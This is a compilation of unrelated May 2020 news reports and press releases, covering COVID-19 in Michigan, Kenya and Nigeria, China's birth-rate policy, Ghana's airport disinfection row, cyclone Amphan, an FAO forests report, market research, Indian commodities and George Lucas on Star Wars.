Stacie Bytwork, president of the Manistee Area Chamber of Commerce and Northern Michigan Chamber Alliance chair, joined Whitmer for the announcement that restaurants, retail and some offices would reopen in northern Michigan.

Bytwork called on residents to be responsible while celebrating Memorial Day weekend in a press release.

With our freedoms comes responsibility to be safe, especially as we begin to reopen for business, Bytwork said in the release. Together, as individuals and in our workplaces, we can show the rest of the state how to comply with public health requirements and model behavior to allow us the freedom to stay open for business.

The executive order still requires adherence to social distancing guidelines; requires patrons and employees to wear masks; and limits customers to 50% of an establishments maximum occupancy limit.

To help businesses reopen responsibility and adhere to public health restrictions, Pure Michigan Business Connect (PMBC) has established a platform to procure personal protective equipment.

The COVID-19 Procurement Platform allows for business to search out PPE through a list of suppliers as well as functions as a location for businesses with the capacity to supply PPE to submit their information as a supplier.

Visit www.michiganbusiness.org/ppe/ to learn more and to access the online platform.

Despite potential risks, state Rep. Jack OMalley (R-Lake Ann) said that he looked forward to the local economy reopening.

Im a lousy cook so Ive always enjoyed going out to local restaurants, OMalley said. I know they cant all open lickety split  the governor only gave them four days  but Im (looking forward) to see things getting back because I think its important to get our economy back on track and restaurants are a huge part of our hospitality industry.
Source: Xinhua| 2020-05-22 00:12:11|Editor: huaxia

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NAIROBI, May 21 (Xinhua) -- Kenya's Ministry of Health on Thursday confirmed 80 new cases of COVID-19, bringing the national tally of infections to 1,109.

Mutahi Kagwe, Cabinet Secretary for Health, said a total of 3,102 samples were tested in the last 24 hours.

"This is the largest sample size tested so far. The trend demonstrates that the larger the sample size, the more the positive cases," Kagwe told journalists in Nairobi.

He said there were another 40 truck drivers, 39 Tanzanians and one Burundi national, who tested positive for the virus, after having been tested in the Kenya-Tanzania border points, and were referred back to Tanzania.

Kagwe said that nine patients were discharged from hospital and the total number of recoveries reached 375. The death toll still stood at 50.

He said that the government had increased testing capacity by about 40 percent and intend to continue with the escalation. Kenya had so far tested 52,507 samples since the disease was reported in the country.

The Ministry of Health Director General Patrick Amoth said on Thursday the coronavirus peak in Kenya will be in August and September.

The East Africa nation has suspended learning in learning institutions, declared nationwide dust to dawn curfew and closed borders with Tanzania and Somalia to contain the spread of the pandemic. Enditem
A Chinese politician has called on Beijing to scrap the financial penalty imposed on couples who have more than two children to boost the country's birth rate.

Huang Xihua, a lawmaker from the southern province of Guangdong, told the Chinese parliament that the nation's family-planning policy should change to reflect the changing times.

Ms Huang's motion came after China's birth rate last year dropped to its lowest level since the Communist country was founded in 1949.

Huang Xihua, a lawmaker from Guangdong province, told the Chinese parliament that the nation's family-planning policy should change to reflect the changing times (file photo)

For about 40 years, most Chinese couples were only allowed to have one child due to the nation's controversial birth-control law.

The central government altered the policy in 2016 to allow couples to have two children to tackle a quickly greying population. But many young people are unwilling to raise offspring because of mounting financial pressure.

Families who have more than two children now face hefty financial punishment. The fine varies from region to region, but it is usually two to six times the combined annual income of the mother and the father.

Ms Huang said that the act of penalising those couples went against China's demographic outlook.

Chinese couples can have two children after Beijing dropped the one-child policy (file photo)

In a proposal to the Chinese National People's Congress, which started on Friday, Ms Huang said the soaring cost in education, medication and housing had already dampened many young people's willingness to have children.

She stressed that the country should revoke the associated fines to prevent the country's working-age population from shrinking, reported Beijing News.

She also urged authorities to increase welfare provided to parents of young children and strengthen their protection over the labour rights of pregnant women.

China's birth rate stood at 10.48 per thousand last year, the lowest in 70 years and down from 10.94 per thousand in 2018. The number of babies born in 2019 dropped by about 580,000 to 14.65 million.

That marked the third consecutive year the overall number of Chinese births had dropped.

The National Bureau of Statistics said the population on the Chinese mainland crept past 1.4 billion for the first time, reaching 1.40005 billion at the end of 2019, with another overall gain of 4.67 million people.

China ditched its one-child policy in the hoping of reversing what some have called a coming demographic tsunami, which will see China 'grow old before becoming rich' (file photo)

The country is seeing a staggering gender gap, a direct consequence of the one-child policy.

The authority said there were 30 million more men than women in the nation last year, with its male population reaching 715.27 million and its female population counting almost 684.8 million.

China's working-age population, those between 16 and 59 years old, also declined by 890,000 from 2018 to 896.4 million, while the number of people aged 60 or older grew by 4.39 million, making up 18.1 per cent of the total population.

China abandoned its long-standing one-child policy in the hoping of reversing what some have called a coming demographic tsunami, which will see China 'grow old before becoming rich'.

But the policy allowing urban couples to have a second child has shown little success amid a shortage of incentives and rising costs for housing, food, health care and education.
The Presidential Task Force (PTF) on COVID-19 has warned Nigerians against large purchase of hydroxychloroquine to treat COVID-19, saying the drug had not been certified for use.

The Chairman of the PTF and the Secretary to the Government of the Federation (SGF), Boss Mustapha, said this at the PTF COVID-19 daily press briefing on Thursday in Abuja.

He said through the surveillance system set up by the PTF, it had received reports that Nigerians had been purchasing hydroxychloroquine in large quantities to treat the virus.

We wish to reiterate that this drug has not being certified for use in treating COVID-19 in Nigeria by the relevant health and pharmaceutical authorities.

Self-medication of any kind is fraught with the danger of increasing risks of avoidable casualties. We therefore strongly warn against self-medication, he said.

According to him, if you are sick, please seek medical advice and if you are confirmed positive, kindly self-isolate in an approved facility, the COVID-19 is highly infectious and dangerous.

Although the World Health Organisation and other health experts have repeatedly warned that no drug has been approved for treating COVID-19 yet, statements by public officials including President Donald Trump of the U.S. and Governor Bala Mohammed of Bauchi State may have encouraged the mass purchase of chloroquine and its derivative, hydroxychloroquine, by Nigerians.

Mr Trump has repeatedly encouraged the use of the drug and said even he was using it. Mr Mohammed also said he had approved the use of the drug for COVID-19 patients in the state.

More Support for PTF

On Thursday, Mr Mustapha said the PTF had continued to receive support, donation of equipment and solidarity messages from professional organisations.

He acknowledged the support of Nigerian Institute of Quantity Surveyors (NIQS) and the Chemical Society of Nigeria (CSN).

Others were the NNPC and its partner, Messrs OCEA S.A, through its Nigerian representative, Mystrose Defense Systems Ltd.

Mr Mustapha said May 20th served as a reminder to the world about the severity of the COVID-19 when the World Health Organisation (WHO) reminded the world that there was still a long way to go in fighting the pandemic, quoting Tedros Ghebreyesus, the WHO Director General, who said 106,000 cases were recorded globally in 24 hours, representing the highest single day number since the outbreak of the pandemic.

This is significant because it brings to realisation, the relentless assault of the virus on humanity, he said.

Mr Mustapaha added that for Nigeria, the importance of such message was clear, adding that there is need to eschew skepticism about the existence of COVID-19 and its potency.

He called for a change in behaviour, while urging citizens to join hands in tackling the pandemic.

Coronavirus in Nigeria

Nigeria has so far tested 40,043 persons since its COVID-19 index case in February. Of these, 7,016 have tested positive.

A breakdown of the confirmed cases so far shows that 1, 907 have recovered and have been discharged, and 211 deaths have been reported.

A breakdown of the 7,016 confirmed cases shows that Lagos State has so far reported 3,093 cases, followed by Kano  875, FCT  446, Katsina  303, Bauchi  228, Borno  227, Jigawa  225, Ogun  183, Oyo  190, Kaduna  170, Gombe  144, Edo  144, Sokoto  113, Rivers  80, Zamfara  76, Kwara  66, Plateau  70, Osun  42, Nasarawa  38, Yobe  45, Kebbi  32, Delta  31, Adamawa  27, Niger  22, Ondo  22, Ekiti  20, Akwa Ibom  18, Taraba  18, Enugu  16, Ebonyi  13, Imo  7, Bayelsa  7, Abia  7, Benue  5, and Anambra  5.

Nigeria has implemented some measures to check the spread of the disease. These include a ban on interstate travel, a nationwide dusk to dawn curfew and ban on large social gatherings.
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The President of the Ghana Union of Traders Association (GUTA), Dr. Joseph Obeng says the Association made several valuable inputs into the contract which was awarded by government through the Ministry of Health and the Ghana Health Service for the disinfection of all imports and exports at the Sea ports and points of entry.

Dr. Obeng was reacting to questions raised by the Aviation Minister, Joseph Kofi Adda on what the interest of the Association is, with regards to the disinfection of Airports in the country.

The Aviation Minister at a press conference on Thursday May 21, 2020 accused GUTA of being influenced by considerations best known to them.

But the GUTA President is surprised at the posturing and pronouncements of the Aviation Minister, particularly his assertion that the Association was working under the influence of some considerations, an indication that their actions are being dictated by some unseen hands.

He asserts that GUTA has been noted for its integrity, honesty and forthrightness over the years, adding that none of its members has ever been cited for being compromised or influenced in any shape or form in terms of advocacy.

Indeed, it is public knowledge that GUTA has been at the forefront, since the outbreak of the COVID-19 Pandemic, campaigning for the proper disinfection of the airports and cargoes arriving there, in order to ensure the safety and security of its members, who are daily users of the facility.

Reacting to the Aviation Ministers assertions, the GUTA President who briefed a cross section of the media also on Thursday, May 21, 2020, averred that the Association is a major stakeholder with vested interest in the disinfection of the Sea ports and Airports and have the right to call the attention of Authorities to issues they deem inappropriate.

We are aware of the agreement and we know the details, it is one of the reasons why they called us to the Ministry of Health. That is why were talking, because we have been a part of the contract that was being signed and we were the major stakeholders. They explained everything to us and showed us the processes, that is why we are talking Dr. Obeng asserted.

The GUTA President continued that When COVID-19 came we thought that it is even more prudent at this stage to have the airports disinfected. That is why were pushing because this one really does concern the element of physical contact because of the huge traffic at the airport and the cargo that comes through the courier services.

Dr. Obeng explained that when GUTA was called for the meeting at the Ministry of Health, it suggested that because majority of its members are traders and operate in the various markets across the country, it was imperative to include market centres in the contract.

This he opined would pave way for the various market centres to be disinfected intermittently.

Again, he said GUTA impressed upon the Ministry of Health to let the contract cover their children who are in the various schools across the country so that the issue of bed bugs and other insects that has plagued the schools over the years can be dealt with through the disinfection.

All these suggestions and inputs were made by GUTA and incorporated into the contract. We have the welfare of our members at heart and indeed the generality of the Ghanaian people. So it will be out of place for us to sit aloof during these critical times and allow the lapses we have seen in the system to consume our members he further pointed out.

He described as unfortunate, suggestions by the Minister that the Association is doing the bidding of an unknown person or company, adding that the Minister who was not part of the engagements when the contract was being negotiated, ought to be measured in his pronouncements when dealing with a force like GUTA.
"A Trump enemy statement, he said of one study.

A political hit job, he said of another.

As President Donald Trump pushes to reopen the country despite warnings from doctors about the consequences of moving too quickly during the coronavirus crisis, he has been lashing out at scientists whose conclusions he doesn't like.

Twice this week, Trump has not only dismissed the findings of studies, but suggested without evidence that their authors were motivated by politics and out to undermine his efforts to roll back coronavirus restrictions.

First it was a study funded in part by his own government's National Institutes of Health that raised alarms about the use of hydroxychloroquine, finding higher overall mortality in coronavirus patients who took the drug while in Veterans Administration hospitals.

Trump and many of his allies had been trumpeting the drug as a miracle cure and Trump this week revealed that he has been taking it to try to ward off the virus despite an FDA warning last month that it should only be used in hospital settings or clinical trials because of the risk of serious side effects, including life-threatening heart problems.

If you look at the one survey, the only bad survey, they were giving it to people that were in very bad shape. They were very old, almost dead," Trump told reporters Tuesday.

It was a Trump enemy statement." He offered similar pushback Thursday to a new study from Columbia University's Mailman School of Public Health.

It found that more than 61 per cent of COVID-19 infections and 55 per cent of reported deaths nearly 36,000 people could have been been prevented had social distancing measures been put in place one week sooner. Trump has repeatedly defended his administration's handling of the virus in the face of persistent criticism that he acted too slowly.

Columbia's an institution that's very liberal," Trump told reporters Thursday. "I think it's just a political hit job, you want to know the truth.

Trump has long been skeptical of mainstream science dismissing man-made climate change as a hoax, suggesting that noise from wind turbines causes cancer, and claiming that exercise can deplete a body's finite amount of energy. It's part of a larger skepticism of expertise and backlash against elites that has become increasingly popular among Trump's conservative base.

But undermining Americans' trust in the integrity and objectivity of scientists is especially dangerous during a pandemic when the public is relying on its leaders to develop policies based on the best available information, said Larry Gostin, a Georgetown University law professor who is an expert in public health.

If the president is politicizing science, if he's discounting health experts, then the public is going to be fearful and confused," Gostin said, calling it dismaying." The White House rejected that thinking, noting that Trump has followed his administration's public health officials' recommendations through much of the crisis.

Any suggestion that the president does not value scientific data or the important work of scientists is patently false as evidenced by the many data-driven decision he has made to address the COVID-19 pandemic, including cutting off travel early from highly-infected populations, expediting vaccine development, issuing the 15-day and later 30-day guidance to 'slow the spread,' and providing governors with a clear, safe road map to opening up America again," said White House spokesman Judd Deere.

Yet Trump has made clear that, at least when it comes to hydroxychloroquine, he has prioritized anecdotal evidence, including a letter he told reporters he'd received from a doctor in Westchester, New York, claiming success with the drug.

Asked this week what evidence he had that the drug was effective in preventing COVID-19, Trump responded: "Are you ready? Here's my evidence: I get a lot of positive calls about it."



That veterans study, funded by grants from the NIH and the University of Virginia, was not a rigorous experiment, but a retrospective analysis by researchers at several universities looking at the impact of hydroxychloroquine in patients at veterans' hospitals across the nation.

It found no benefit and more deaths among those given hydroxychloroquine versus standard care alone. The work was posted online for researchers and has not been reviewed by other scientists.

The Columbia study, in draft form, also hasn't yet been published or reviewed by other experts. The researchers ran numbers through a mathematical model, making assumptions about how quickly the coronavirus spreads and how people behave in hypothetical circumstances.

Trump's criticism of the studies also comes as his allies have been eager to counter messaging from public health experts who say Trump is putting lives at risk by pushing states to quickly reopen in an election year. Republican political operatives have been recruiting pro-Trump doctors to go on television to advocate for reviving the US economy as quickly as possible, without waiting to meet federal safety benchmarks.

Gostin said Trump should leave it to his public health agencies to assess emerging data and the value of various studies.

I think there are real dangers," he said, for the president to play scientist and doctor on TV.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Technavio has been monitoring the automotive backup camera market and it is poised to grow by 44.27 million units during 2020-2024, progressing at a CAGR of over 12% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005076/en/

Technavio has announced the latest market research report titled Global Automotive Backup Camera Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Aptiv Plc, Continental AG, Delphi Technologies Plc, DENSO Corp., Gentex Corp., Hella GmbH Co. KGaA, Magna International Inc., Robert Bosch GmbH, Valeo SA, and ZF Friedrichshafen AG are some of the major market participants. The focus on enhancing safety in vehicles will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Focus on enhancing safety in vehicles has been instrumental in driving the growth of the market.

Automotive Backup Camera Market 2020-2024: Segmentation

Automotive Backup Camera Market is segmented as below:

Application Passenger Car Commercial Vehicle

Geography North America Europe APAC South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43671

Automotive Backup Camera Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive backup camera market report covers the following areas:

Automotive Backup Camera Market Size

Automotive Backup Camera Market Trends

Automotive Backup Camera Market Industry Analysis

This study identifies increased adoption backup camera due to the rising number of fatalities as one of the prime reasons driving the automotive backup camera market growth during the next few years.

Automotive Backup Camera Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the automotive backup camera market, including some of the vendors such as Aptiv Plc, Continental AG, Delphi Technologies Plc, DENSO Corp., Gentex Corp., Hella GmbH Co. KGaA, Magna International Inc., Robert Bosch GmbH, Valeo SA, and ZF Friedrichshafen AG. Backed with competitive intelligence and benchmarking, our research reports on the automotive backup camera market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Automotive Backup Camera Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist automotive backup camera market growth during the next five years

Estimation of the automotive backup camera market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the automotive backup camera market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of automotive backup camera market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Market characteristics

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Application

Market segments

Comparison by Application

Passenger car Market size and forecast 2019-2024

Commercial vehicle Market size and forecast 2019-2024

Market opportunity by Application

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

North America Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

APAC Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Vendor landscape

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

Aptiv Plc

Continental AG

Delphi Technologies Plc

DENSO Corp.

Gentex Corp.

Hella GmbH Co. KGaA

Magna International Inc.

Robert Bosch GmbH

Valeo SA

ZF Friedrichshafen AG

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

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Source: Xinhua| 2020-05-23 02:11:56|Editor: huaxia

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ROME, May 22 (Xinhua) -- The world's forests continue to be cut down at "alarming rates," the United Nations Food and Agriculture Organization(FAO) said in its State of the World's Forests 2020 report released Friday.

The 188-page report, which caps a decade of studies on biodiversity under the oversight of the United Nations, examines the contributions of forests and of the populations that use and manage them, with an eye toward forest conservation.

According to the report, forests occupy less than a third of the world's land, but they account for 80 percent of all amphibian species, 75 of bird species, 68 percent of mammal species, and around 60 percent of all vascular plant species. But that biodiversity is at risk, the report said.

"Deforestation and forest degradation continue to take place at alarming rates, which contributes significantly to the ongoing loss of biodiversity," the FAO report said.

The report added that over the last 30 years at least 420 million hectares of forests have been lost to land-use changes, mostly to agricultural development, or in some cases for the production of wood. The lost forest land is roughly the equivalent to the size of the north African country of Libya, FAO said.

The news is not all bad, however. The report said the rate of deforestation has slowed in recent years, from around 16 million hectares per year in the 1990s to 10 million hectares per year over the last five years.

FAO headed the production of the report in collaboration with the United Nations Environment Program. Rome-based FAO is headed by Qu Dongyu, a former vice-minister of China's Ministry of Agriculture and Rural Affairs.

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The South China Morning Post (SCMP) and international academic publisher World Scientific announced today the launch of Rebel City: Hong Kong's Year of Water and Fire --a new book that chronicles the political confrontation that has gripped the city since June 2019.

The anthology is a nuanced and in-depth account of the unprecedented turmoil and complex manoeuvrings that defined a summer of discontent, distilled from more than 5,000 news reports, analysis and commentaries from Hong Kong's paper of record.

Rebel City is more than a collection of stories--it aims to profile the Hong Kong protests without fear or favour, underpinned by journalistic instincts that know every tale has multiple sides. It comprehensively outlines the city's worst political crisis through a plurality of perspectives that goes beyond the perceived dichotomy of the people of Hong Kong versus its government.

This book is for anyone seeking to understand not just what Hong Kong has gone through but also the global phenomenon of increasingly leaderless protest movements. Edited by SCMP's Deputy Executive Editor Zuraidah Ibrahim and Political Correspondent Jeffie Lam, the book draws on the work of more than 35 of the Post's newsroom across Hong Kong, Beijing, Washington and Singapore--a team with unmatched access to all sides of the conflict.

Hong Kong was in retrospect ripe to be the laboratory for a new-age protest movement, fueled by profound angst about the place of millennial youth in society, widening income inequality, and the speed of digital communications. The anti-extradition bill protests that morphed rapidly into a wider anti-government movement in 2019 left no aspect of the city untouched, from its social compact to its body politic to its open economy. Against the backdrop of the "one country, two systems" model and its growing ambiguities, SCMP's reporting team took a contemplative look back at Hong Kong in Rebel City on its most wrenching political crisis since its return to Chinese rule in 1997.

"The book is a non-partisan account of the events of 2019 and a fact-based attempt to explain all the contradictions, nuances and complexities of the anti-government protest movement triggered by the ill-fated extradition bill. Rebel City encapsulates the blood, sweat and tears of a world city at a crossroads that, and is still impacted by those events today. I'm proud of what this book represents and our team's contribution in covering one of the biggest social and political upheavals of our times," said Tammy Tam, Editor in Chief, South China Morning Post.

"We are grateful to our newsmakers and sources on all sides of this complex story. The events of 2019 produced many conflicting narratives and shades of grey, and it was important to hear the voices of all who were impacted. No one has emerged from it unscathed. This book would not have been possible if they were not willing to share their perspectives so generously," said Zuraidah.

"This insightful book provides a holistic array of differing perspectives during one of Hong Kong's most turbulent times in recent history as the world witnessed the series of events unfold before its eyes. World Scientific is privileged to be a part of this book project that brings about first-hand accounts of different encounters from within the city," said Max Phua, Managing Director, World Scientific.

Rebel City retails for US$28 / 22 / S$28 / HKD$198 in paperback and US$68 / 60 / S$68 in hardback (before taxes, where applicable) at major bookstores, distributors and online. SCMP readers may order a copy on https://www.scmp.com/rebel-city/order. More details about the book can be found at https://www.worldscientific.com/worldscibooks/10.1142/11777.

Individuals may also purchase electronic editions through Kindle, Kobo, Google Play and ebooks.com.

Advance Praise for "Rebel City"

"This excellent book is an inspiring reminder of the vital importance of a free press in any society that is struggling with difficult social and political problems. Throughout 2019, international observers relied on the South China Morning Post to reveal the full complexity of the Hong Kong situation. This book provides a chance for readers to reflect on what happened, and draw lessons for the future."

Kurt Tong, former United States Consul General to Hong Kong and Partner of The Asia Group

"As mentioned in this book, the protests in Hong Kong against the extradition bill of 2019 were 'among the world's most visible political events in history'. Like the 2003 protest against the national security bill and the 'Umbrella movement' of 2014, the 2019 movement was a watershed moment that raised fundamental questions about the future of 'one country, two systems'. This book, written by South China Morning Post journalists who eyewitnessed the turmoil is an indispensable guide for anyone who wants to know what happened and to understand why."

Albert H.Y. Chen, Cheng Chan Lan Yue Professor of Constitutional Law, University of Hong Kong, and member of the Basic Law Committee

"2019 was a turbulent and tumultuous year for Hong Kong. Events followed fast upon each other. This collection of stories, interviews and analysis by seasoned reporters from the South China Morning Post performs the crucial service of recording what happened, asking why it happened, and, most important of all, not rushing to any quick conclusions. A powerful, and at times moving, account of a city under siege, but trying to find its way."

Kerry Brown, Director, Lau China Institute, King's College London

"One of the British Prime Ministers once complained of bias in the media and he was asked in which direction, and he said it's biased in every direction." - Chris Patten. The events in 2019 shocked and polarized Hong Kong. A fearless and vibrant press is indispensable in such times. It is the price to pay for a free and pluralistic society that the press provokes disagreement, irritates, or even occasionally gets it wrong. The pieces in this volume will not - and are not designed to - please everybody. This is in the best traditions of the Post - long may it continue. I congratulate the Post for a job well done."

Paul Shieh SC, former Chairman, Hong Kong Bar Association

About the South China Morning Post

The South China Morning Post is a leading global news media company that has reported on China and Asia for more than a century. Founded in 1903, SCMP is headquartered in Hong Kong and is the city's newspaper of record. To serve its global readership, its network of correspondents spans across Asia and the U.S. reporting on issues relevant to its mission, which is to lead the global conversation about China. Its digital reach makes it one of the region's biggest publications, providing readers with accurate, credible and compelling content. SCMP became the first news organization in Asia to join the Trust Project in 2020, a consortium of top news companies developing global transparency standards for credible journalism.

For more information, contact Andrea Leung at andrea.leung@scmp.com

About World Scientific Publishing Co.

World Scientific Publishing is a leading international independent publisher of books and journals for the scholarly, research and professional communities. World Scientific has published for luminaries that include both former Prime Ministers of Singapore, Lee Kuan Yew and Goh Chok Tong, former ministers and senior civil servants of the likes of George Yeo, Ho Peng Kee, Lim Siong Guan, Tommy Koh, Peter Ho, and Bilahari Kausikan, and prominent public figures like Ho Kwon Ping, Claire Chiang, Albert Hong, Liu Thai Ker, and Wang Gungwu, amongst others.

World Scientific also collaborates extensively with research institutes, universities, governmental organisations and companies locally as well as globally to publish professional, scientific, technical, medical and popular content. The company publishes about 600 books annually and 150 journals in various fields, and has also established a global presence with 13 offices around the world. To find out more about World Scientific, visit http://www.worldscientific.com.

For more information, contact Amanda Yun at heyun@wspc.com

About the Editors

Zuraidah Ibrahim is Deputy Executive Editor of the South China Morning Post, overseeing local Hong Kong coverage and Asia and International news. Previously the deputy editor of The Straits Times in Singapore, she was a key author of the bestselling memoir Lee Kuan Yew, Hard Truths to Keep Singapore Going (2011). Her most recent publication is The Opposition in Singapore (2017).

Jeffie Lam is a correspondent and leads the Hong Kong politics team at the South China Morning Post. An award-winning political journalist, she started her career as a reporter in 2009 and joined the Post in 2013, covering the city's legislative affairs, social movements and party politics. Jeffie reported on the Occupy movement in 2014 and the protests of 2019.

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India and Bangladesh await surge in coronavirus infections after 'super cyclone'

by Susannah Savage

May 22,2020 | Source: The Telegraph

A super cyclone has killed more than 80 people and forced three million from their homes in Bangladesh and India, leaving authorities struggling to respond amid soaring coronavirus outbreaks.



One of the most powerful storms ever to hit South Asia, cyclone Amphan, made landfall on Wednesday afternoon and has already destroyed thousands of houses, caused severe flooding and left millions without electricity across Bangladesh and the east Indian states of Odisha and West Bengal.



Almost all of the 14 million residents in the West Bengal capital of Kolkata have been left without power and many without phone networks for the last 24 hours, while the citys airport is submerged under water.



It is a bigger disaster than Covid-19, chief minister of West Bengal, Mamata Banerjee, told local news reporters, adding that West Bengal is ruined.



According to Ms Banerjee, 72 people have died in the state, including 15 in Kolkata. In Bangladesh, 15 were killed as the cyclone ripped through coastal regions, including a 45-year-old woman and her 13-year-old daughter, whose house was torn down by a falling tree in the district of Jessore.



At least 19 million children in the region are at immediate risk from flash flooding from continued heavy rain, according to a report by Unicef.



The death toll is, nonetheless, expected to remain far lower than in previous cyclones. In 2007, more than 3,000 Bangladeshis were killed in cyclone Sidr, while in 1999, the last time a super cyclone hit the Bay of Bengal, 10,000 were left dead just in the state of Odisha.



With deaths averted from one disaster, authorities now await another as they prepare for a surge in Covid-19 cases.



The quick evacuation of 2.4 million in Bangladesh paid off in terms of saving lives, Hasina Rahman, interim Bangladesh country director for Concern Worldwide told The Telegraph.



But while every effort was made to maintain social distancing and hygiene measures in the 12,000 shelters, for the most part this was impossible, she added.



In India, where more than 100,000 cases of coronavirus have been recorded, cyclone preparation only began a few days before it hit, said Shantamay Chatterjee, CAREs Regional Programme Director in East India.



There were warnings from the start of May, but all attention was focused on the Covid pandemic.



When the evacuation started all hell broke loose, Mr Chatterjee explained. Cyclone shelters in Odisha and West Bengal were being used to house the thousands of migrants who returned to their home states at the start of lockdown.



Within 48 hours, the migrants had to be moved out and a million other people rounded up and moved in, he said. How much time was there for the centres to be sanitised?



Authorities in both countries face a battle to provide health care and step up testing facilities in affected areas, which are home to some of India and Bangladeshs poorest communities. Bangladesh has almost 27,000 reported cases of coronavirus, a third of which were reported in the last week.



As well as coronavirus, millions of people among the hardest hit by crippling lockdowns, now face destitution.



Theyve lost their homes, their businesses, their livestock, their livelihoods: theyve been left with nothing, said Ms Rahman, and the full extent of the impact cannot even be measured yet.



Kalikesh Singh Deo, a politician from the ruling Biju Janata Dal party in Odisha, said the immediate priority was to restore electricity and ensure those whose homes have been devastated can find shelter and food and rations for up to 15 days.



"It is coupled with the coronavirus lockdown, so the challenge is managing crowds and ensuring social distancing and coronavirus parameters are maintained" he said.



More than 83,000 homes have been partially or totally destroyed in the district of Khulna alone while tidal surges up to 3 meters high have washed away embankments all along Bangladeshs low-lying coastal districts, ruining crops and saturating farmland with salty water.



Thousands of hectares have also been destroyed in Odisha and West Bengal, where waves reached five metres. Soil salinity will prevent crops from growing for up to three years, said Mr Chatterjee. The normal response for people here would be to migrate in order to survive, because of covid they cannot do that. Its a catastrophe.



Fishing communities in the Sundarbans, a vast mangrove forest that crosses India and Bangladesh, have been particularly impacted. With communication lines cut, many villages are unable to access help.



Conservationists also fear for the wildlife in the forest, which is home to the endangered Bengal tiger.



The damage is not so clear right now, but it seems the Indian Sundarbans took the brunt of it, Mohamad Modinuk Ahsan, divisional forest officer for the Khulna division in Bangladesh told The Telegraph.



Densely populated refugee camps in the Coxs Bazar district of Bangladesh, which are home to nearly one million Rohingya, were largely spared as the cyclones course diverted westwards late on Tuesday.



Across the 34 camps, at least 300 shelters, which are made from bamboo and tarpaulin, have been damaged and 60 completely destroyed, said Carmen van Heese, South Asia Regional Emergency Adviser for Unicef, but we were anticipating much worse.



Ms Van Heese stressed that in the hardest hit areas the focus now needs to be on preventing a second wave of risks to lives.



Heavy rainfall and flooding have obliterated and contaminated water systems, leaving millions without access to clean water and sanitation. Food insecurity is another real concern, she added, all this needs to be managed at the same time as covid-19.



Tim Wainwright, CEO of WaterAid warned in a statement that hygiene and handwashing, which are vital first lines of defence against Covid-19, could well be put beyond reach for whole communities, as they already are for 3 billion around the world.

 Telegraph Media Group Limited 2020

Theme(s): Others.
Geojit's report on Agri Picks

Supply of the fresh rabi maize crop has started in markets across Bihar, leading to a slump in prices, traders said.  India's exports of mustard meal are expected to halve in 2020 -21 (Apr -Mar) from 961,312 tn exported last year due to waning demand from traditional buyers amid the COVID -19 pandemic, trade participants said.  The government kicked off procurement of masur harvested in the 2019 -20 (Jul - Jun) rabi season under the price support scheme in Madhya Pradesh and Uttar Pradesh earlier this week, a government official said.  The Centre has bought 45.9 mln tn of rice so far in the 2019 -20 (Oct -Sep) marketing season, nearly 11% higher on year, a senior government official said. The government had procured 41.5 mln tn of rice in the year -ago period.  The Congress -ruled Chhattisgarh government has decided to pay 57 bln rupees in four instalments to around 1.9 mln paddy, maize, and sugarcane farmers through direct bank transfer under the Rajiv Gandhi Kisan Nyay Yojana scheme.  The National Commodity and Derivatives Exchange will levy a commodities transaction tax of 0.01% on its agricultural index futures, or AGRIDEX, from May 26.  National Commodity Clearing Ltd, the clearing arm of the National Commodity and Derivatives Exchange, has marked 5,950 tn of mustard seed for staggered delivery against the May contract that expired on Wednesday, according to data on its website.  So far this year the government has procured 31.3 mln tn of wheat, down more than 4% from 32.7 mln tn bought in the same period last year.

For all commodities report, click here

Disclaimer: The views and investment tips expressed by investment experts/broking houses/rating agencies on moneycontrol.com are their own, and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.

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HOLLYWOOD, CA - MAY 10: Filmmaker George Lucas arrives at the premiere of Disney Pictures and Lucasfilm's 'Solo: A Star Wars Story' at the El Capitan Theatre on May 10, 2018 in Hollywood, California. (Photo by Axelle/Bauer-Griffin/FilmMagic)

While The Rise Of Skywalker proved that the popularity of the Star Wars franchise isnt quite what it was, theres still no denying that the sci-fi space opera is beloved by hundreds of millions of people across the globe.

Thats particularly impressive when you consider that the first installment to the series was released all the way back in 1977. But why has the Star Wars franchise proven to be so popular for so long?

Read More: 'The Empire Strikes Back' at 40: A troubled shoot that almost broke George Lucas and Star Wars

It turns out that its creator George Lucas doesnt even have the answer, something that he freely admitted during a recent interview with StarWars.com to mark the 40th anniversary of Star Wars: The Empire Strikes Back.

George Lucas tries to figure out why the Star Wars franchise has proven to be so popular (Image by Lucasfilm)

After being asked that very question, Lucas responded, Well I dont know, before then adding, Even though its an homage to 40s movies and a space opera  where the characters are pretty cardboard  I worked very hard to create the characters that would be iconic in their own way, and still be true to the classic adventure cinema.

